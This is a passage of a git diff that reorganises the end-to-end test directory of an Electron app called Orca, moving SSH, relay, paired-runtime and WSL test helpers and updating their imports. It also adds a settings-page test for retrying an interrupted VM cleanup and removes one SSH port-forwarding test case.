tests/e2e/helpers/nested-runtime-ssh-filesystem-route.ts rename to tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-filesystem-route.ts index dac942fa857..4ab0b8f716d 100644 --- a/tests/e2e/helpers/nested-runtime-ssh-filesystem-route.ts +++ b/tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-filesystem-route.ts @@ -1,10 +1,12 @@ import { randomUUID } from 'node:crypto' import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { expect } from './orca-app' -import type { PairedElectronClient } from './paired-electron-client' +import '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { PairedElectronClient } from '../client-hosts/paired-electron-client' import type { ProjectedWorktreeRoute } from './nested-runtime-ssh-client-route' -import { focusActiveTerminalInput, getTerminalContent } from './terminal' +import { focusActiveTerminalInput } from '../../../terminal/input/terminal' +import { getTerminalContent } from '../../../terminal/layout/terminal-pane-identity' type PairedClientLocalMutationCanary = { assertUntouched(): void diff --git a/tests/e2e/helpers/nested-runtime-ssh-terminal-creation.ts b/tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-terminal-creation.ts similarity index 82% rename from tests/e2e/helpers/nested-runtime-ssh-terminal-creation.ts rename to tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-terminal-creation.ts index 940d90f86fd..c474ee06504 100644 --- a/tests/e2e/helpers/nested-runtime-ssh-terminal-creation.ts +++ b/tests/e2e/remote/paired-runtime/ssh-routing/nested-runtime-ssh-terminal-creation.ts @@ -1,6 +1,8 @@ -import { expect } from './orca-app' -import type { PairedElectronClient } from './paired-electron-client' -import { focusActiveTerminalInput, getTerminalContent, waitForActivePanePtyId } from './terminal' +import '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { PairedElectronClient } from '../client-hosts/paired-electron-client' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../../../terminal/input/terminal' +import { getTerminalContent } from '../../../terminal/layout/terminal-pane-identity' function terminalMarkerCommand(marker: string): string { const encoded = [...marker] diff --git a/tests/e2e/headless-serve-desktop-activation.spec.ts b/tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts similarity index 82% rename from tests/e2e/headless-serve-desktop-activation.spec.ts rename to tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts index 0d6a5e39aa6..78570f0bc29 100644 --- a/tests/e2e/headless-serve-desktop-activation.spec.ts +++ b/tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts @@ -1,36 +1,44 @@ -import { readPersistedProfileState } from './helpers/persisted-profile-state' +import { readPersistedProfileState } from '../../../desktop/electron-fixtures/persisted-profile-state' import { spawn, type ChildProcess } from 'node:child_process' import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { _electron as electron, type ElectronApplication } from '@stablyai/playwright-test' -import { test, expect, forwardElectronProcessLogs } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { getE2ECompletedOnboardingProfile } from './helpers/e2e-completed-onboarding-profile' -import { getOrcaElectronLaunchArgs } from './helpers/electron-launch-args' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { retryTransientMainEvaluate } from './helpers/electron-main-evaluate-retry' +import { _electron as electron, expect, type ElectronApplication } from '@stablyai/playwright-test' +import { test, forwardElectronProcessLogs } from '../../../desktop/electron-fixtures/orca-app' +import { TEST_REPO_PATH_FILE } from '../../../global-setup' +import { getE2ECompletedOnboardingProfile } from '../../../desktop/electron-fixtures/e2e-completed-onboarding-profile' +import { getOrcaElectronLaunchArgs } from '../../../desktop/electron-fixtures/electron-launch-args' +import { + cleanupE2EDaemons, + closeElectronAppForE2E +} from '../../../desktop/electron-fixtures/electron-process-shutdown' +import { retryTransientMainEvaluate } from '../../../desktop/electron-fixtures/electron-main-evaluate-retry' import { assertElectronResolvedIsolatedHome, createElectronHomeIsolation, type ElectronHomeIsolation -} from './helpers/electron-home-isolation' +} from '../../../desktop/electron-fixtures/electron-home-isolation' +import '../../../terminal/input/terminal' +import { discoverActivePtyId } from '../../../terminal/input/terminal-active-pane' import { - discoverActivePtyId, execInTerminal, - getTerminalContent, waitForActiveTerminalManager, waitForPaneCount, waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { RuntimeClientError } from '../../src/cli/runtime/connection/types' -import type { RuntimeStatus } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeTerminalCreate } from '../../src/shared/terminal/runtime/runtime-terminal-create-contract' -import type { RuntimeTerminalRead } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { parsePaneKey } from '../../src/shared/workspace-layout/stable-pane-id' +} from '../../../terminal/layout/terminal-pane-operations' +import { getTerminalContent } from '../../../terminal/layout/terminal-pane-identity' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../../desktop/renderer-probes/store' +import { RuntimeClient } from '../../../../../src/cli/runtime/client' +import { RuntimeClientError } from '../../../../../src/cli/runtime/connection/types' +import type { RuntimeStatus } from '../../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeTerminalCreate } from '../../../../../src/shared/terminal/runtime/runtime-terminal-create-contract' +import type { RuntimeTerminalRead } from '../../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import { PROTOCOL_VERSION } from '../../../../../src/main/daemon/protocol/daemon-protocol-version' +import { parsePaneKey } from '../../../../../src/shared/workspace-layout/stable-pane-id' const electronPackageDir = path.join(process.cwd(), 'node_modules', 'electron') const electronPath = path.join( diff --git a/tests/e2e/paired-client-project-removal-stops-host-terminals.spec.ts b/tests/e2e/remote/paired-runtime/workspace-routing/paired-client-project-removal-stops-host-terminals.spec.ts similarity index 91% rename from tests/e2e/paired-client-project-removal-stops-host-terminals.spec.ts rename to tests/e2e/remote/paired-runtime/workspace-routing/paired-client-project-removal-stops-host-terminals.spec.ts index 4fcec3c95ff..d3742935c5f 100644 --- a/tests/e2e/paired-client-project-removal-stops-host-terminals.spec.ts +++ b/tests/e2e/remote/paired-runtime/workspace-routing/paired-client-project-removal-stops-host-terminals.spec.ts @@ -3,16 +3,17 @@ import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { TEST_REPO_PATH_FILE } from '../../../global-setup' import { createRuntimeDesktopPairingOffer, launchPairedElectronClient, type PairedElectronClient -} from './helpers/paired-electron-client' -import { createRestartSession } from './helpers/orca-restart' -import { readFreshTerminalInventory } from './helpers/terminal-inventory-observation' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' +} from '../client-hosts/paired-electron-client' +import { createRestartSession } from '../../../desktop/electron-fixtures/orca-restart' +import { readFreshTerminalInventory } from '../../../terminal/layout/terminal-inventory-observation' +import type { RuntimeTerminalListResult } from '../../../../../src/shared/terminal/runtime/runtime-terminal-contracts' function seededRepoPathOrSkip(): string { const repoPath = existsSync(TEST_REPO_PATH_FILE) diff --git a/tests/e2e/paired-server-rows-shadow.spec.ts b/tests/e2e/remote/paired-runtime/workspace-routing/paired-server-rows-shadow.spec.ts similarity index 92% rename from tests/e2e/paired-server-rows-shadow.spec.ts rename to tests/e2e/remote/paired-runtime/workspace-routing/paired-server-rows-shadow.spec.ts index 0e043771130..ad270e3c55f 100644 --- a/tests/e2e/paired-server-rows-shadow.spec.ts +++ b/tests/e2e/remote/paired-runtime/workspace-routing/paired-server-rows-shadow.spec.ts @@ -3,10 +3,11 @@ import { execFileSync } from 'node:child_process' import { mkdirSync, writeFileSync } from 'node:fs' import path from 'node:path' import { z } from 'zod' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../client-hosts/headless-paired-runtime-host' +import { launchPairedElectronClient } from '../client-hosts/paired-electron-client' +import { SIDEBAR_INPUTS_BUILD } from '../../../workspaces/sidebar/sidebar-inputs-build' import type { Page } from '@stablyai/playwright-test' test.skip( diff --git a/tests/e2e/paired-startup-exec-readiness.spec.ts b/tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts similarity index 94% rename from tests/e2e/paired-startup-exec-readiness.spec.ts rename to tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts index 0a93b618829..40cb08fc4b0 100644 --- a/tests/e2e/paired-startup-exec-readiness.spec.ts +++ b/tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts @@ -1,19 +1,20 @@ import { existsSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../client-hosts/headless-paired-runtime-host' import { createRuntimeDesktopPairingOffer, launchPairedWebClient -} from './helpers/paired-electron-client' +} from '../client-hosts/paired-electron-client' import { callStartupExecRuntime, closeStartupExecTerminal, createStartupExecTerminal, expectStartupExecRecovery, installZshExecProfile -} from './helpers/startup-exec-readiness-oracle' +} from '../../../terminal/readiness/startup-exec-readiness-oracle' test.skip(process.platform === 'win32', 'Paired startup-exec readiness uses POSIX shells.') diff --git a/tests/e2e/paired-worktree-activation-isolation.spec.ts b/tests/e2e/remote/paired-runtime/workspace-routing/paired-worktree-activation-isolation.spec.ts similarity index 89% rename from tests/e2e/paired-worktree-activation-isolation.spec.ts rename to tests/e2e/remote/paired-runtime/workspace-routing/paired-worktree-activation-isolation.spec.ts index a1f0f208552..cd2719122e7 100644 --- a/tests/e2e/paired-worktree-activation-isolation.spec.ts +++ b/tests/e2e/remote/paired-runtime/workspace-routing/paired-worktree-activation-isolation.spec.ts @@ -1,10 +1,11 @@ -import { test, expect } from './helpers/orca-app' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { createRuntimeDesktopPairingOffer, launchPairedElectronClient -} from './helpers/paired-electron-client' -import { worktreeRowSurface } from './worktree-row-locators' -import { callEnvironment } from './helpers/paired-host-terminal' +} from '../client-hosts/paired-electron-client' +import { worktreeRowSurface } from '../../../workspaces/sidebar/worktree-row-locators' +import { callEnvironment } from '../../../terminal/remote-hosts/paired-host-terminal' test('remote CLI creation updates the catalog while a paired desktop stays in its local workspace', async ({ orcaPage, diff --git a/tests/e2e/pr11346-selected-runtime-add.spec.ts b/tests/e2e/remote/paired-runtime/workspace-routing/pr11346-selected-runtime-add.spec.ts similarity index 90% rename from tests/e2e/pr11346-selected-runtime-add.spec.ts rename to tests/e2e/remote/paired-runtime/workspace-routing/pr11346-selected-runtime-add.spec.ts index c0b109aa791..ac136f8c017 100644 --- a/tests/e2e/pr11346-selected-runtime-add.spec.ts +++ b/tests/e2e/remote/paired-runtime/workspace-routing/pr11346-selected-runtime-add.spec.ts @@ -1,18 +1,19 @@ -import { expectSidebarProjectVisible } from './helpers/sidebar-project-visibility' -import { openSidebarProjectMenu } from './helpers/sidebar-project-dialog' +import { expectSidebarProjectVisible } from '../../../workspaces/sidebar/sidebar-project-visibility' +import { openSidebarProjectMenu } from '../../../workspaces/sidebar/sidebar-project-dialog' import { rmSync } from 'node:fs' import path from 'node:path' import type { ElectronApplication, Locator, Page, TestInfo } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { ProjectGroup } from '../../src/shared/project/groups/project-group-types' -import type { Repo } from '../../src/shared/repository/repo-types' -import { expect, test } from './helpers/orca-app' -import { forwardRendererConsole } from './helpers/renderer-console-forwarding' +import { RuntimeClient } from '../../../../../src/cli/runtime/client' +import type { ProjectGroup } from '../../../../../src/shared/project/groups/project-group-types' +import type { Repo } from '../../../../../src/shared/repository/repo-types' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { forwardRendererConsole } from '../../../desktop/electron-fixtures/renderer-console-forwarding' import { createRuntimeDesktopPairingOffer, launchPairedElectronClient -} from './helpers/paired-electron-client' -import { waitForSessionReady } from './helpers/store' +} from '../client-hosts/paired-electron-client' +import { waitForSessionReady } from '../../../desktop/renderer-probes/store' import { configureIsolatedGitIdentity, createProjectFixtures diff --git a/tests/e2e/pr11346-selected-runtime-identity-oracle.ts b/tests/e2e/remote/paired-runtime/workspace-routing/pr11346-selected-runtime-identity-oracle.ts similarity index 100% rename from tests/e2e/pr11346-selected-runtime-identity-oracle.ts rename to tests/e2e/remote/paired-runtime/workspace-routing/pr11346-selected-runtime-identity-oracle.ts diff --git a/tests/e2e/helpers/build-released-relay-bundle.mts b/tests/e2e/remote/relay/build-released-relay-bundle.mts similarity index 69% rename from tests/e2e/helpers/build-released-relay-bundle.mts rename to tests/e2e/remote/relay/build-released-relay-bundle.mts index 05c4cba6eee..ed054b0d4d0 100644 --- a/tests/e2e/helpers/build-released-relay-bundle.mts +++ b/tests/e2e/remote/relay/build-released-relay-bundle.mts @@ -1,10 +1,10 @@ // Run release bundling through tsx so Playwright never imports its ESM-only build tooling. // COMPAT(legacy-relay-bridge): revisit 2027-01-15, with src/main/ssh/legacy-relay/. -import { materializeReleaseCheckout } from '../cross-version-wire/release-checkouts/release-checkout.ts' +import { materializeReleaseCheckout } from '../../cross-version-wire/release-checkouts/release-checkout.ts' import { buildReleasedRelayBundle, PREVIOUS_RELAY_REF -} from '../cross-version-wire/relay/released-relay-daemon.ts' +} from '../../cross-version-wire/relay/released-relay-daemon.ts' const built = await buildReleasedRelayBundle(await materializeReleaseCheckout(PREVIOUS_RELAY_REF)) process.stdout.write(`${JSON.stringify(built)}\n`) diff --git a/tests/e2e/helpers/legacy-relay-docker-host.ts b/tests/e2e/remote/relay/legacy-relay-docker-host.ts similarity index 91% rename from tests/e2e/helpers/legacy-relay-docker-host.ts rename to tests/e2e/remote/relay/legacy-relay-docker-host.ts index 1ebd78297a5..f11ad1fda82 100644 --- a/tests/e2e/helpers/legacy-relay-docker-host.ts +++ b/tests/e2e/remote/relay/legacy-relay-docker-host.ts @@ -4,14 +4,17 @@ import { execFileSync } from 'node:child_process' import { cpSync, mkdtempSync, rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' -import { relaySocketNameForInstanceId } from '../../../src/main/ssh/legacy-relay/endpoints/ssh-relay-instance-id' -import { SshChannelMultiplexer } from '../../../src/main/ssh/protocol/ssh-channel-multiplexer' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' +import { relaySocketNameForInstanceId } from '../../../../src/main/ssh/legacy-relay/endpoints/ssh-relay-instance-id' +import { SshChannelMultiplexer } from '../../../../src/main/ssh/protocol/ssh-channel-multiplexer' import { leaveShellInReleasedRelay, openShellRelayTransport -} from '../cross-version-wire/relay/released-relay-transport' -import { execDockerSshHostTargetCommand, type DockerSshHostTarget } from './docker-ssh-host-target' +} from '../../cross-version-wire/relay/released-relay-transport' +import { + execDockerSshHostTargetCommand, + type DockerSshHostTarget +} from '../managed-ssh/host-lifecycle/docker-ssh-host-target' export type DockerReleasedRelay = { dir: string; version: string } @@ -25,7 +28,7 @@ export async function installReleasedRelayOnDockerHost( const built: unknown = JSON.parse( execFileSync( path.join(process.cwd(), 'node_modules', '.bin', 'tsx'), - [path.join(process.cwd(), 'tests', 'e2e', 'helpers', 'build-released-relay-bundle.mts')], + [path.join(process.cwd(), 'tests/e2e/remote/relay/build-released-relay-bundle.mts')], { encoding: 'utf8', timeout: 300_000, stdio: ['ignore', 'pipe', 'inherit'] } ) .trim() diff --git a/tests/e2e/helpers/relay-execution-process.ts b/tests/e2e/remote/relay/relay-execution-process.ts similarity index 100% rename from tests/e2e/helpers/relay-execution-process.ts rename to tests/e2e/remote/relay/relay-execution-process.ts diff --git a/tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts b/tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts new file mode 100644 index 00000000000..3d76067adda --- /dev/null +++ b/tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts @@ -0,0 +1,60 @@ +import 'node:child_process' + +import { writeFileSync } from 'node:fs' +import 'node:os' + +import path from 'node:path' + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' + +test.use({ seedTestRepo: false }) + +test('shows interrupted hidden SSH cleanup as retryable', async ({ electronApp, orcaPage }) => { + const userDataPath = await electronApp.evaluate(({ app }) => app.getPath('userData')) + writeFileSync( + path.join(userDataPath, 'orca-ephemeral-vm-runtimes.json'), + JSON.stringify({ + version: 1, + runtimes: [ + { + id: 'runtime-cleanup-retry', + recipeId: 'cloud-sandbox', + repoId: 'repo-1', + workspaceName: 'Interrupted cleanup', + status: 'cleaned', + cleanupStatus: 'succeeded', + connectionMode: 'ssh', + sshTargetId: 'runtime-ssh-cleanup-retry', + createdAt: 1, + updatedAt: 1, + recipeResult: { + schemaVersion: 1, + connection: { + type: 'ssh', + projectRoot: '/workspace/repo', + target: { + label: 'Cloud VM', + host: 'vm.example.com', + port: 22, + username: 'developer' + } + } + } + } + ] + }) + ) + + await orcaPage.evaluate(() => { + const state = window.__store!.getState() + state.openSettingsTarget({ pane: 'servers', repoId: null }) + state.openSettingsPage() + }) + await expect(orcaPage.getByPlaceholder('Search settings')).toBeVisible() + + const runtimes = orcaPage.locator('[data-settings-section="temporary-vm-runtimes"]') + await expect(runtimes.getByText('Interrupted cleanup')).toBeVisible() + await expect(runtimes.getByText('Cleanup failed')).toBeVisible() + await expect(runtimes.getByRole('button', { name: 'Retry cleanup' })).toBeVisible() +}) diff --git a/tests/e2e/helpers/remote-skill-cloud-fixture.ts b/tests/e2e/remote/ssh-hosts/remote-skill-cloud-fixture.ts similarity index 96% rename from tests/e2e/helpers/remote-skill-cloud-fixture.ts rename to tests/e2e/remote/ssh-hosts/remote-skill-cloud-fixture.ts index 6c3a5f1fb0e..c15bd841504 100644 --- a/tests/e2e/helpers/remote-skill-cloud-fixture.ts +++ b/tests/e2e/remote/ssh-hosts/remote-skill-cloud-fixture.ts @@ -5,8 +5,8 @@ import { join } from 'node:path' import { createSkillPackageArchive, type CreatedSkillPackage -} from '../../../src/main/skills/package-archive/skill-package-creation' -import { SKILL_PACKAGE_CONTENT_TYPE } from '../../../src/shared/skills/packages/skill-package-manifest' +} from '../../../../src/main/skills/package-archive/skill-package-creation' +import { SKILL_PACKAGE_CONTENT_TYPE } from '../../../../src/shared/skills/packages/skill-package-manifest' export const REMOTE_SKILL_PACKAGE_ID = 'package_remote_e2e' export const REMOTE_SKILL_VERSION_ID = 'version_remote_e2e' diff --git a/tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts b/tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts similarity index 67% rename from tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts rename to tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts index 72e4a78c2bb..b80106e3ad8 100644 --- a/tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts +++ b/tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts @@ -2,18 +2,18 @@ import { once } from 'node:events' import { readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' import { Client } from 'ssh2' -import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest' -import type { SshConnection } from '../../src/main/ssh/connection/ssh-connection' -import type { SshProviderEpoch } from '../../src/shared/remote-runtime/ssh/ssh-types' -import { ensureDockerSshHostImage } from './helpers/docker-ssh-host-image' +import { afterAll, beforeAll, describe, expect, it } from 'vitest' +import type { SshConnection } from '../../../../src/main/ssh/connection/ssh-connection' + +import { ensureDockerSshHostImage } from '../managed-ssh/host-lifecycle/docker-ssh-host-image' import { cleanupDockerSshHostTarget, execDockerSshHostTargetCommand, startDockerSshHostTarget, type DockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { resolveSshBrowserNetworkExecutionRoute } from '../../src/main/browser/network/execution-routes/ssh-browser-network-execution-route' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' +} from '../managed-ssh/host-lifecycle/docker-ssh-host-target' +import { resolveSshBrowserNetworkExecutionRoute } from '../../../../src/main/browser/network/execution-routes/ssh-browser-network-execution-route' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' const runDocker = process.env.ORCA_RUN_DOCKER_SSH_BROWSER_E2E === '1' const executionHost = { @@ -72,57 +72,6 @@ describe.runIf(runDocker)('SSH browser network execution route Docker journey', cleanupDockerSshHostTarget(target) }) - it('resolves and connects the exact remote-only domain on the SSH host', async () => { - const connection = { - getState: () => ({ - targetId: 'target-a', - status: 'connected', - error: null, - reconnectAttempt: 0 - }), - getClient: () => client, - usesSystemSshTransport: () => false - } as unknown as SshConnection - const authorityAbort = new AbortController() - const forwardOut = vi.spyOn(client!, 'forwardOut') - const route = await resolveSshBrowserNetworkExecutionRoute( - { executionHost, runtimeId: 'runtime-a', runtimeRevision: 1 }, - { - connectionManager: { getConnection: () => connection }, - isCurrentAuthority: (authority) => - authority.providerEpoch === ('provider-epoch-a' as SshProviderEpoch) && - authority.connectionGeneration === 2, - registerAuthorityAbort: (_authority, controller) => { - authorityAbort.signal.addEventListener('abort', () => controller.abort(), { once: true }) - return () => {} - } - } - ) - const socket = route.connect({ host: 'remote-only.internal', port: 18080 }) - socket.on('error', () => {}) - await once(socket as never, 'connect') - const response = readHttpResponse(socket) - socket.resume() - socket.write( - new TextEncoder().encode( - 'GET / HTTP/1.1\r\nHost: remote-only.internal\r\nConnection: close\r\n\r\n' - ) - ) - - await expect(response).resolves.toContain('sta-4150-remote-only') - expect(forwardOut).toHaveBeenCalledWith( - '127.0.0.1', - 0, - 'remote-only.internal', - 18080, - expect.any(Function) - ) - authorityAbort.abort() - await route.whenInvalidated - expect(route.isValid()).toBe(false) - await route.close() - }) - it('runs the same remote-only journey through one system-SSH dynamic forward', async () => { const configFile = path.join(target!.tempDir, 'browser-tunnel-ssh-config') writeFileSync( diff --git a/tests/e2e/helpers/ssh-config-host-picker.ts b/tests/e2e/remote/ssh-hosts/ssh-config-host-picker.ts similarity index 99% rename from tests/e2e/helpers/ssh-config-host-picker.ts rename to tests/e2e/remote/ssh-hosts/ssh-config-host-picker.ts index c52650919ff..1b4224e65f1 100644 --- a/tests/e2e/helpers/ssh-config-host-picker.ts +++ b/tests/e2e/remote/ssh-hosts/ssh-config-host-picker.ts @@ -1,4 +1,4 @@ -import { openSidebarProjectMenu } from './sidebar-project-dialog' +import { openSidebarProjectMenu } from '../../workspaces/sidebar/sidebar-project-dialog' import { mkdirSync, writeFileSync } from 'node:fs' import path from 'node:path' diff --git a/tests/e2e/helpers/staging-skill-ssh-target.ts b/tests/e2e/remote/ssh-hosts/staging-skill-ssh-target.ts similarity index 100% rename from tests/e2e/helpers/staging-skill-ssh-target.ts rename to tests/e2e/remote/ssh-hosts/staging-skill-ssh-target.ts diff --git a/tests/e2e/helpers/wsl-boot-diagnostics-log.ts b/tests/e2e/remote/wsl-hosts/wsl-boot-diagnostics-log.ts similarity index 100% rename from tests/e2e/helpers/wsl-boot-diagnostics-log.ts rename to tests/e2e/remote/wsl-hosts/wsl-boot-diagnostics-log.ts diff --git a/tests/e2e/helpers/wsl-boot-guard.ts b/tests/e2e/remote/wsl-hosts/wsl-boot-guard.ts similarity index 97% rename from tests/e2e/helpers/wsl-boot-guard.ts rename to tests/e2e/remote/wsl-hosts/wsl-boot-guard.ts index 5db966eebdf..d5cf04666e2 100644 --- a/tests/e2e/helpers/wsl-boot-guard.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-boot-guard.ts @@ -4,8 +4,9 @@ */ import { execFile } from 'node:child_process' import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import { buildWslExecArgs } from '../../../src/shared/shell/wsl/wsl-login-shell-command' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { buildWslExecArgs } from '../../../../src/shared/shell/wsl/wsl-login-shell-command' import { PTY_SPAWN, readDiagnosticLog, diff --git a/tests/e2e/wsl-bridge-no-background-boot.spec.ts b/tests/e2e/remote/wsl-hosts/wsl-bridge-no-background-boot.spec.ts similarity index 94% rename from tests/e2e/wsl-bridge-no-background-boot.spec.ts rename to tests/e2e/remote/wsl-hosts/wsl-bridge-no-background-boot.spec.ts index b9307457276..9daef7f1d96 100644 --- a/tests/e2e/wsl-bridge-no-background-boot.spec.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-bridge-no-background-boot.spec.ts @@ -15,15 +15,17 @@ import { rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePanePtyId } from './helpers/terminal' -import { visitSettingsPanes } from './helpers/settings-pane-visits' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { - readDiagnosticLog, - recordMainProcessWslDiagnostics -} from './helpers/wsl-boot-diagnostics-log' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../../terminal/input/terminal' +import { visitSettingsPanes } from '../../desktop/settings/settings-pane-visits' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' +import { readDiagnosticLog, recordMainProcessWslDiagnostics } from './wsl-boot-diagnostics-log' import { activate, cycleWindowFocus, @@ -34,7 +36,7 @@ import { waitForWslLaunchesToSettle, watchDistroRunning, wsl -} from './helpers/wsl-boot-guard' +} from './wsl-boot-guard' const DISTRO = process.env.ORCA_E2E_WSL_TERMINATE_DISTRO?.trim() ?? '' diff --git a/tests/e2e/helpers/wsl-golden-stub-agent.ts b/tests/e2e/remote/wsl-hosts/wsl-golden-stub-agent.ts similarity index 98% rename from tests/e2e/helpers/wsl-golden-stub-agent.ts rename to tests/e2e/remote/wsl-hosts/wsl-golden-stub-agent.ts index 0b3c41c35e4..b1f34f47c95 100644 --- a/tests/e2e/helpers/wsl-golden-stub-agent.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-golden-stub-agent.ts @@ -1,6 +1,6 @@ import { execFileSync } from 'node:child_process' import type { Page } from '@stablyai/playwright-test' -import { buildWslExecArgs } from '../../../src/shared/shell/wsl/wsl-login-shell-command' +import { buildWslExecArgs } from '../../../../src/shared/shell/wsl/wsl-login-shell-command' /** A WSL-only path makes the stub marker proof that the pane ran in the distro. */ const WSL_STUB_PATH = '/usr/local/bin/golden-stub-agent' diff --git a/tests/e2e/helpers/wsl-host-fake-desktop.ts b/tests/e2e/remote/wsl-hosts/wsl-host-fake-desktop.ts similarity index 86% rename from tests/e2e/helpers/wsl-host-fake-desktop.ts rename to tests/e2e/remote/wsl-hosts/wsl-host-fake-desktop.ts index 707f872d637..75e819c4dde 100644 --- a/tests/e2e/helpers/wsl-host-fake-desktop.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-host-fake-desktop.ts @@ -16,14 +16,17 @@ import { type ElectronApplication, type Page } from '@stablyai/playwright-test' -import { getE2ECompletedOnboardingProfile } from './e2e-completed-onboarding-profile' -import { getOrcaElectronLaunchArgs } from './electron-launch-args' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './electron-process-shutdown' -import { createElectronHomeIsolation } from './electron-home-isolation' -import { forwardElectronProcessLogs } from './orca-app' -import { waitForSessionReady } from './store' -import { toRuntimeExecutionHostId } from '../../../src/shared/execution-host/execution-host' -import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' +import { getE2ECompletedOnboardingProfile } from '../../desktop/electron-fixtures/e2e-completed-onboarding-profile' +import { getOrcaElectronLaunchArgs } from '../../desktop/electron-fixtures/electron-launch-args' +import { + cleanupE2EDaemons, + closeElectronAppForE2E +} from '../../desktop/electron-fixtures/electron-process-shutdown' +import { createElectronHomeIsolation } from '../../desktop/electron-fixtures/electron-home-isolation' +import { forwardElectronProcessLogs } from '../../desktop/electron-fixtures/orca-app' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' +import { toRuntimeExecutionHostId } from '../../../../src/shared/execution-host/execution-host' +import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' export const WSL_ENVIRONMENT_ID = 'wsl:ubuntu' export const RUNNING = [{ 